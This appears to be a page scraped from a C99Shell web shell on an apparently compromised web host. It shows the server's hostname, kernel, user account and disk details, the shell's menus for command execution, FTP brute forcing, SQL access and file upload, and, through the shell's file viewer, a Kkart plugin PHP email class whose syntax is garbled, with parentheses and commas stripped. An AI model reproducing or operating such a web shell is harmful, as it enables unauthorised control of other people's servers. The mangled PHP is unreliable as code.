!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/   drwxr-xr-x
Free 293.23 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ReportCSVEmail.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Handles emailing users CSV Export download links.
 */

namespace Automattic\Kkart\Admin;

if ( ! 
defined'ABSPATH' ) ) {
    exit;
}

/**
 * Include dependencies.
 */
if ( ! class_exists'KKART_Email'false ) ) {
    include_once 
KKART_ABSPATH 'includes/emails/class-kkart-email.php';
}

/**
 * ReportCSVEmail Class.
 */
class ReportCSVEmail extends \KKART_Email {
    
/**
     * Constructor.
     */
    
public function __construct() {
        
$this->id             'admin_report_export_download';
        
$this->template_base  dirname__DIR__ ) . '/includes/emails/';
        
$this->template_html  'html-admin-report-export-download.php';
        
$this->template_plain 'plain-admin-report-export-download.php';
        
$this->report_labels  = array(
            
'categories' => __'Categories''kkart' ),
            
'coupons'    => __'Coupons''kkart' ),
            
'customers'  => __'Customers''kkart' ),
            
'downloads'  => __'Downloads''kkart' ),
            
'orders'     => __'Orders''kkart' ),
            
'products'   => __'Products''kkart' ),
            
'revenue'    => __'Revenue''kkart' ),
            
'stock'      => __'Stock''kkart' ),
            
'taxes'      => __'Taxes''kkart' ),
            
'variations' => __'Variations''kkart' ),
        );

        
// Call parent constructor.
        
parent::__construct();
    }

    
/**
     * This email has no user-facing settings.
     */
    
public function init_form_fields() {}

    
/**
     * This email has no user-facing settings.
     */
    
public function init_settings() {}

    
/**
     * Return email type.
     *
     * @return string
     */
    
public function get_email_type() {
        return 
class_exists'DOMDocument' ) ? 'html' 'plain';
    }

    
/**
     * Get email heading.
     *
     * @return string
     */
    
public function get_default_heading() {
        return 
__'Your Report Download''kkart' );
    }

    
/**
     * Get email subject.
     *
     * @return string
     */
    
public function get_default_subject() {
        return 
__'[{site_title}]: Your {report_name} Report download is ready''kkart' );
    }

    
/**
     * Get content html.
     *
     * @return string
     */
    
public function get_content_html() {
        return 
kkart_get_template_html(
            
$this->template_html,
            array(
                
'report_name'   => $this->report_type,
                
'download_url'  => $this->download_url,
                
'email_heading' => $this->get_heading(),
                
'sent_to_admin' => true,
                
'plain_text'    => false,
                
'email'         => $this,
            ),
            
'',
            
$this->template_base
        
);
    }

    
/**
     * Get content plain.
     *
     * @return string
     */
    
public function get_content_plain() {
        return 
kkart_get_template_html(
            
$this->template_plain,
            array(
                
'report_name'   => $this->report_type,
                
'download_url'  => $this->download_url,
                
'email_heading' => $this->get_heading(),
                
'sent_to_admin' => true,
                
'plain_text'    => true,
                
'email'         => $this,
            ),
            
'',
            
$this->template_base
        
);
    }

    
/**
     * Trigger the sending of this email.
     *
     * @param int    $user_id User ID to email.
     * @param string $report_type The type of report export being emailed.
     * @param string $download_url The URL for downloading the report.
     */
    
public function trigger$user_id$report_type$download_url ) {
        
$user               = new \WP_User$user_id );
        
$this->recipient    $user->user_email;
        
$this->download_url $download_url;

        if ( isset( 
$this->report_labels$report_type ] ) ) {
            
$this->report_type                   $this->report_labels$report_type ];
            
$this->placeholders['{report_name}'] = $this->report_type;
        }

        
$this->send(
            
$this->get_recipient(),
            
$this->get_subject(),
            
$this->get_content(),
            
$this->get_headers(),
            
$this->get_attachments()
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.098 ]--